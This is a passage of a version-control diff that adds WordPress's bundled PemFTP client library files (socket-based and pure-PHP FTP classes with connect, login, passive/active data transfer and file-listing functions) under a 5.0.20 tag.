+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
+			if(!$this->_ftp_data_sock) {
+				$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_data_sock;
+		} else {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		while (!feof($this->_ftp_data_sock)) {
+			$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			return FALSE;
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return TRUE;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
+				$this->PushError("_data_write","Can't write to socket");
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@fclose($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit($force=FALSE) {
+		if($this->_connected or $force) {
+			@fclose($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+
+?>
Index: /tags/5.0.20/src/wp-admin/includes/class-ftp-sockets.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-ftp-sockets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-ftp-sockets.php	(revision 56912)
@@ -0,0 +1,246 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Socket Based FTP implementation
+ *
+ * @package PemFTP
+ * @subpackage Socket
+ * @since 2.5.0
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+class ftp_sockets extends ftp_base {
+
+	function __construct($verb=FALSE, $le=FALSE) {
+		parent::__construct(true, $verb, $le);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function _settimeout($sock) {
+		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
+			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		return true;
+	}
+
+	function _connect($host, $port) {
+		$this->SendMSG("Creating socket");
+		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
+			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($sock)) return FALSE;
+		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
+		if (!($res = @socket_connect($sock, $host, $port))) {
+			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
+			@socket_close($sock);
+			return FALSE;
+		}
+		$this->_connected=true;
+		return $sock;
+	}
+
+	function _readmsg($fnction="_readmsg"){
+		if(!$this->_connected) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		$result=true;
+		$this->_message="";
+		$this->_code=0;
+		$go=true;
+		do {
+			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
+			if($tmp===false) {
+				$go=$result=false;
+				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
+			} else {
+				$this->_message.=$tmp;
+				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
+			}
+		} while($go);
+		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
+		$this->_code=(int)$regs[1];
+		return $result;
+	}
+
+	function _exec($cmd, $fnction="_exec") {
+		if(!$this->_ready) {
+			$this->PushError($fnction,'Connect first');
+			return FALSE;
+		}
+		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
+		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
+		if($status===false) {
+			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
+			return FALSE;
+		}
+		$this->_lastaction=time();
+		if(!$this->_readmsg($fnction)) return FALSE;
+		return TRUE;
+	}
+
+	function _data_prepare($mode=FTP_ASCII) {
+		if(!$this->_settype($mode)) return FALSE;
+		$this->SendMSG("Creating data socket");
+		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
+		if ($this->_ftp_data_sock < 0) {
+			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
+			return FALSE;
+		}
+		if(!$this->_settimeout($this->_ftp_data_sock)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if($this->_passive) {
+			if(!$this->_exec("PASV", "pasv")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
+			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
+			$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
+		} else {
+			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
+				$this->PushError("_data_prepare","can't get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_bind($this->_ftp_data_sock,$addr)){
+				$this->PushError("_data_prepare","can't bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_listen($this->_ftp_data_sock)) {
+				$this->PushError("_data_prepare","can't listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
+				$this->PushError("_data_prepare","can't get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
+				$this->_data_close();
+				return FALSE;
+			}
+			if(!$this->_checkCode()) {
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function _data_read($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+		}
+
+		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
+			if($block==="") break;
+			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
+			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
+			else $out.=$block;
+		}
+		return $out;
+	}
+
+	function _data_write($mode=FTP_ASCII, $fp=NULL) {
+		$NewLine=$this->_eol_code[$this->OS_local];
+		if(is_resource($fp)) $out=0;
+		else $out="";
+		if(!$this->_passive) {
+			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
+			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
+			if($this->_ftp_temp_sock===FALSE) {
+				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return false;
+			}
+		}
+		if(is_resource($fp)) {
+			while(!feof($fp)) {
+				$block=fread($fp, $this->_ftp_buff_size);
+				if(!$this->_data_write_block($mode, $block)) return false;
+			}
+		} elseif(!$this->_data_write_block($mode, $fp)) return false;
+		return true;
+	}
+
+	function _data_write_block($mode, $block) {
+		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
+		do {
+			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
+				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
+				$this->_data_close();
+				return FALSE;
+			}
+			$block=substr($block, $t);
+		} while(!empty($block));
+		return true;
+	}
+
+	function _data_close() {
+		@socket_close($this->_ftp_temp_sock);
+		@socket_close($this->_ftp_data_sock);
+		$this->SendMSG("Disconnected data from remote host");
+		return TRUE;
+	}
+
+	function _quit() {
+		if($this->_connected) {
+			@socket_close($this->_ftp_control_sock);
+			$this->_connected=false;
+			$this->SendMSG("Socket closed");
+		}
+	}
+}
+?>
Index: /tags/5.0.20/src/wp-admin/includes/class-ftp.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-ftp.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-ftp.php	(revision 56912)
@@ -0,0 +1,912 @@
+<?php
+/**
+ * PemFTP - A Ftp implementation in pure PHP
+ *
+ * @package PemFTP
+ * @since 2.5
+ *
+ * @version 1.0
+ * @copyright Alexey Dotsenko
+ * @author Alexey Dotsenko
+ * @link http://www.phpclasses.org/browse/package/1743.html Site
+ * @license LGPL http://www.opensource.org/licenses/lgpl-license.html
+ */
+
+/**
+ * Defines the newline characters, if not defined already.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var string
+ */
+if(!defined('CRLF')) define('CRLF',"\r\n");
+
+/**
+ * Sets whatever to autodetect ASCII mode.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_BINARY")) define("FTP_BINARY", 1);
+
+/**
+ *
+ * This can be redefined.
+ * @since 2.5
+ * @var int
+ */
+if(!defined("FTP_ASCII")) define("FTP_ASCII", 0);
+
+/**
+ * Whether to force FTP.
+ *
+ * This can be redefined.
+ *
+ * @since 2.5
+ * @var bool
+ */
+if(!defined('FTP_FORCE')) define('FTP_FORCE', true);
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Unix','u');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Windows','w');
+
+/**
+ * @since 2.5
+ * @var string
+ */
+define('FTP_OS_Mac','m');
+
+/**
+ * PemFTP base class
+ *
+ */
+class ftp_base {
+	/* Public variables */
+	var $LocalEcho;
+	var $Verbose;
+	var $OS_local;
+	var $OS_remote;
+
+	/* Private variables */
+	var $_lastaction;
+	var $_errors;
+	var $_type;
+	var $_umask;
+	var $_timeout;
+	var $_passive;
+	var $_host;
+	var $_fullhost;
+	var $_port;
+	var $_datahost;
+	var $_dataport;
+	var $_ftp_control_sock;
+	var $_ftp_data_sock;
+	var $_ftp_temp_sock;
+	var $_ftp_buff_size;
+	var $_login;
+	var $_password;
+	var $_connected;
+	var $_ready;
+	var $_code;
+	var $_message;
+	var $_can_restore;
+	var $_port_available;
+	var $_curtype;
+	var $_features;
+
+	var $_error_array;
+	var $AuthorizedTransferMode;
+	var $OS_FullName;
+	var $_eol_code;
+	var $AutoAsciiExt;
+
+	/* Constructor */
+	function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) {
+		$this->LocalEcho=$le;
+		$this->Verbose=$verb;
+		$this->_lastaction=NULL;
+		$this->_error_array=array();
+		$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
+		$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
+		$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
+		$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
+		$this->_port_available=($port_mode==TRUE);
+		$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
+		$this->_connected=FALSE;
+		$this->_ready=FALSE;
+		$this->_can_restore=FALSE;
+		$this->_code=0;
+		$this->_message="";
+		$this->_ftp_buff_size=4096;
+		$this->_curtype=NULL;
+		$this->SetUmask(0022);
+		$this->SetType(FTP_AUTOASCII);
+		$this->SetTimeout(30);
+		$this->Passive(!$this->_port_available);
+		$this->_login="anonymous";
+		$this->_password="anon@ftp.com";
+		$this->_features=array();
+	    $this->OS_local=FTP_OS_Unix;
+		$this->OS_remote=FTP_OS_Unix;
+		$this->features=array();
+		if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
+		elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
+	}
+
+	function ftp_base($port_mode=FALSE) {
+		$this->__construct($port_mode);
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Public functions                                                                  -->
+// <!-- --------------------------------------------------------------------------------------- -->
+
+	function parselisting($line) {
+		$is_windows = ($this->OS_remote == FTP_OS_Windows);
+		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) {
+			$b = array();
+			if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
+			$b['isdir'] = ($lucifer[7]=="<DIR>");
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount=count($lucifer);
+			if ($lcount<8) return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === "d";
+			$b['islink'] = $lucifer[0]{0} === "l";
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ($lcount==8) {
+				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
+				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
+				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		return $b;
+	}
+
+	function SendMSG($message = "", $crlf=true) {
+		if ($this->Verbose) {
+			echo $message.($crlf?CRLF:"");
+			flush();
+		}
+		return TRUE;
+	}
+
+	function SetType($mode=FTP_AUTOASCII) {
+		if(!in_array($mode, $this->AuthorizedTransferMode)) {
+			$this->SendMSG("Wrong type");
+			return FALSE;
+		}
+		$this->_type=$mode;
+		$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
+		return TRUE;
+	}
+
+	function _settype($mode=FTP_ASCII) {
+		if($this->_ready) {
+			if($mode==FTP_BINARY) {
+				if($this->_curtype!=FTP_BINARY) {
+					if(!$this->_exec("TYPE I", "SetType")) return FALSE;
+					$this->_curtype=FTP_BINARY;
+				}
+			} elseif($this->_curtype!=FTP_ASCII) {
+				if(!$this->_exec("TYPE A", "SetType")) return FALSE;
+				$this->_curtype=FTP_ASCII;
+			}
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function Passive($pasv=NULL) {
+		if(is_null($pasv)) $this->_passive=!$this->_passive;
+		else $this->_passive=$pasv;
+		if(!$this->_port_available and !$this->_passive) {
+			$this->SendMSG("Only passive connections available!");
+			$this->_passive=TRUE;
+			return FALSE;
+		}
+		$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
+		return TRUE;
+	}
+
+	function SetServer($host, $port=21, $reconnect=true) {
+		if(!is_long($port)) {
+	        $this->verbose=true;
+    	    $this->SendMSG("Incorrect port syntax");
+			return FALSE;
+		} else {
+			$ip=@gethostbyname($host);
+	        $dns=@gethostbyaddr($host);
+	        if(!$ip) $ip=$host;
+	        if(!$dns) $dns=$host;
+	        // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false
+	        // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid
+	        $ipaslong = ip2long($ip);
+			if ( ($ipaslong == false) || ($ipaslong === -1) ) {
+				$this->SendMSG("Wrong host name/address \"".$host."\"");
+				return FALSE;
+			}
+	        $this->_host=$ip;
+	        $this->_fullhost=$dns;
+	        $this->_port=$port;
+	        $this->_dataport=$port-1;
+		}
+		$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
+		if($reconnect){
+			if($this->_connected) {
+				$this->SendMSG("Reconnecting");
+				if(!$this->quit(FTP_FORCE)) return FALSE;
+				if(!$this->connect()) return FALSE;
+			}
+		}
+		return TRUE;
+	}
+
+	function SetUmask($umask=0022) {
+		$this->_umask=$umask;
+		umask($this->_umask);
+		$this->SendMSG("UMASK 0".decoct($this->_umask));
+		return TRUE;
+	}
+
+	function SetTimeout($timeout=30) {
+		$this->_timeout=$timeout;
+		$this->SendMSG("Timeout ".$this->_timeout);
+		if($this->_connected)
+			if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
+		return TRUE;
+	}
+
+	function connect($server=NULL) {
+		if(!empty($server)) {
+			if(!$this->SetServer($server)) return false;
+		}
+		if($this->_ready) return true;
+	    $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
+		if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
+			$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
+			return FALSE;
+		}
+		$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
+		do {
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			$this->_lastaction=time();
+		} while($this->_code<200);
+		$this->_ready=true;
+		$syst=$this->systype();
+		if(!$syst) $this->SendMSG("Can't detect remote OS");
+		else {
+			if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
+			elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
+			elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
+			else $this->OS_remote=FTP_OS_Mac;
+			$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
+		}
+		if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+		else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		return TRUE;
+	}
+
+	function quit($force=false) {
+		if($this->_ready) {
+			if(!$this->_exec("QUIT") and !$force) return FALSE;
+			if(!$this->_checkCode() and !$force) return FALSE;
+			$this->_ready=false;
+			$this->SendMSG("Session finished");
+		}
+		$this->_quit();
+		return TRUE;
+	}
+
+	function login($user=NULL, $pass=NULL) {
+		if(!is_null($user)) $this->_login=$user;
+		else $this->_login="anonymous";
+		if(!is_null($pass)) $this->_password=$pass;
+		else $this->_password="anon@anon.com";
+		if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code!=230) {
+			if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		$this->SendMSG("Authentication succeeded");
+		if(empty($this->_features)) {
+			if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled");
+			else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
+		}
+		return TRUE;
+	}
+
+	function pwd() {
+		if(!$this->_exec("PWD", "pwd")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message);
+	}
+
+	function cdup() {
+		if(!$this->_exec("CDUP", "cdup")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return true;
+	}
+
+	function chdir($pathname) {
+		if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rmdir($pathname) {
+		if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function mkdir($pathname) {
+		if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function rename($from, $to) {
+		if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		if($this->_code==350) {
+			if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		} else return FALSE;
+		return TRUE;
+	}
+
+	function filesize($pathname) {
+		if(!isset($this->_features["SIZE"])) {
+			$this->PushError("filesize", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
+	}
+
+	function abort() {
+		if(!$this->_exec("ABOR", "abort")) return FALSE;
+		if(!$this->_checkCode()) {
+			if($this->_code!=426) return FALSE;
+			if(!$this->_readmsg("abort")) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+		}
+		return true;
+	}
+
+	function mdtm($pathname) {
+		if(!isset($this->_features["MDTM"])) {
+			$this->PushError("mdtm", "not supported by server");
+			return FALSE;
+		}
+		if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$mdtm = preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
+		$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
+		$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
+		return $timestamp;
+	}
+
+	function systype() {
+		if(!$this->_exec("SYST", "systype")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$DATA = explode(" ", $this->_message);
+		return array($DATA[1], $DATA[3]);
+	}
+
+	function delete($pathname) {
+		if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function site($command, $fnction="site") {
+		if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function chmod($pathname, $mode) {
+		if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
+		return TRUE;
+	}
+
+	function restore($from) {
+		if(!isset($this->_features["REST"])) {
+			$this->PushError("restore", "not supported by server");
+			return FALSE;
+		}
+		if($this->_curtype!=FTP_BINARY) {
+			$this->PushError("restore", "can't restore in ASCII mode");
+			return FALSE;
+		}
+		if(!$this->_exec("REST ".$from, "resore")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return TRUE;
+	}
+
+	function features() {
+		if(!$this->_exec("FEAT", "features")) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
+		$this->_features=array();
+		foreach($f as $k=>$v) {
+			$v=explode(" ", trim($v));
+			$this->_features[array_shift($v)]=$v;
+		}
+		return true;
+	}
+
+	function rawlist($pathname="", $arg="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
+	}
+
+	function nlist($pathname="", $arg="") {
+		return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
+	}
+
+	function is_exists($pathname) {
+		return $this->file_exists($pathname);
+	}
+
+	function file_exists($pathname) {
+		$exists=true;
+		if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
+		else {
+			if(!$this->_checkCode()) $exists=FALSE;
+			$this->abort();
+		}
+		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
+		else $this->SendMSG("Remote file ".$pathname." does not exist");
+		return $exists;
+	}
+
+	function fget($fp, $remotefile, $rest=0) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function get($remotefile, $localfile=NULL, $rest=0) {
+		if(is_null($localfile)) $localfile=$remotefile;
+		if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
+		$fp = @fopen($localfile, "w");
+		if (!$fp) {
+			$this->PushError("get","can't open local file", "Cannot create \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
